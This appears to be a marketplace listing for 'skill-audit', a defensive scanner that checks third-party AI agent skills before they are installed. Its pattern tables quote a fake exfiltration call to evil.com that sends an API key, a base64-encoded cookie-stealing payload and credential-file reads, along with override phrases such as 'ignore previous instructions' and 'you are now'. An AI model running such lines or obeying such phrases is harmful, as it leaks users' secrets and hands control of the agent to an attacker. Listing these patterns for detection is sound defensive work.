Menu
Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.
The review-first prompt is selected by default. You can switch to a direct command or download a local copy.
Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/phoroth/AGENTIC --skill skill-auditThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Based on SOC occupation classification
Showing SKILL.md
| name | skill-audit |
| description | Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust. |
| category | security |
| risk | safe |
| source | community |
| source_repo | aptratcn/skill-audit |
| source_type | community |
| date_added | 2026-05-01 |
| author | aptratcn |
| tags | ["security","audit","pre-install","malicious-detection","supply-chain"] |
| tools | ["claude","cursor","codex","gemini","copilot"] |
| license | MIT |
| license_source | https://github.com/aptratcn/skill-audit/blob/main/LICENSE |
7.5% of 14,706 OpenClaw skills are confirmed malicious. This skill provides a structured 6-phase security review you run before installing any third-party skill.
Research findings (2026):
Pattern detection in SKILL.md:
ignore previous instructions, you are now...fetch(), curl, wget to unknown domainsatob(), base64 strings~/.env, process.env + network callsRead every referenced script:
Check if permissions match purpose:
Detect manipulation tactics:
Evaluate author/repo credibility:
Risk score + recommendation:
User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool
Agent runs skill-audit:
📋 Surface Scan: 🚨 3 critical patterns
- download-pipe-shell pattern found
- References ~/.env
- External fetch to unknown domain
📁 Script Check: 🚨 scripts/install.sh
- Contains base64-encoded payload
- Makes HTTP POST to 192.168.x.x
🔑 Permissions: 🚨 Excessive
- Claims "format code"
- But reads ~/.ssh/id_rsa
Risk Score: 92/100 🔴 CRITICAL
Recommendation: 🚫 DO NOT INSTALL
User: Install this skill from github.com/trusted-author/useful-skill
Agent runs skill-audit:
📋 Surface Scan: ✅ No critical patterns
📁 Script Check: ✅ No scripts referenced
🔑 Permissions: ✅ Minimal (read/write in project dir)
📊 Repo Intel: ✅ Trusted author, 2+ years active
Risk Score: 12/100 ✅ LOW RISK
Recommendation: ✅ Safe to install
| Pattern | Example | Risk |
|---|---|---|
| Instruction override | ignore previous instructions | Agent takeover |
| External data exfil | fetch('http://evil.com?token=' + env.API_KEY) | Credential theft |
| Shell pipe | download piped into a shell interpreter | Arbitrary execution |
| Encoded payloads | atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') | Hidden commands |
| Credential reads | ~/.env, process.env + network | Key theft |
| Self-replication | "install in all repos" | Persistence spread |
| Pattern | Concern |
|---|---|
| Role manipulation | Changes agent identity |
| Hidden instructions | Invisible commands in comments |
| Undocumented scripts | SKILL.md references hidden scripts |
| Broad permissions | Excessive file/network access |
| Domain ambiguity | Domain takeover risk |
| Unpinned deps | Supply chain vulnerability |
From documented incidents:
clawhub1, clawbhub → fake official CLI, macOS binary to raw IPThis skill is adapted from aptratcn/skill-audit — MIT licensed.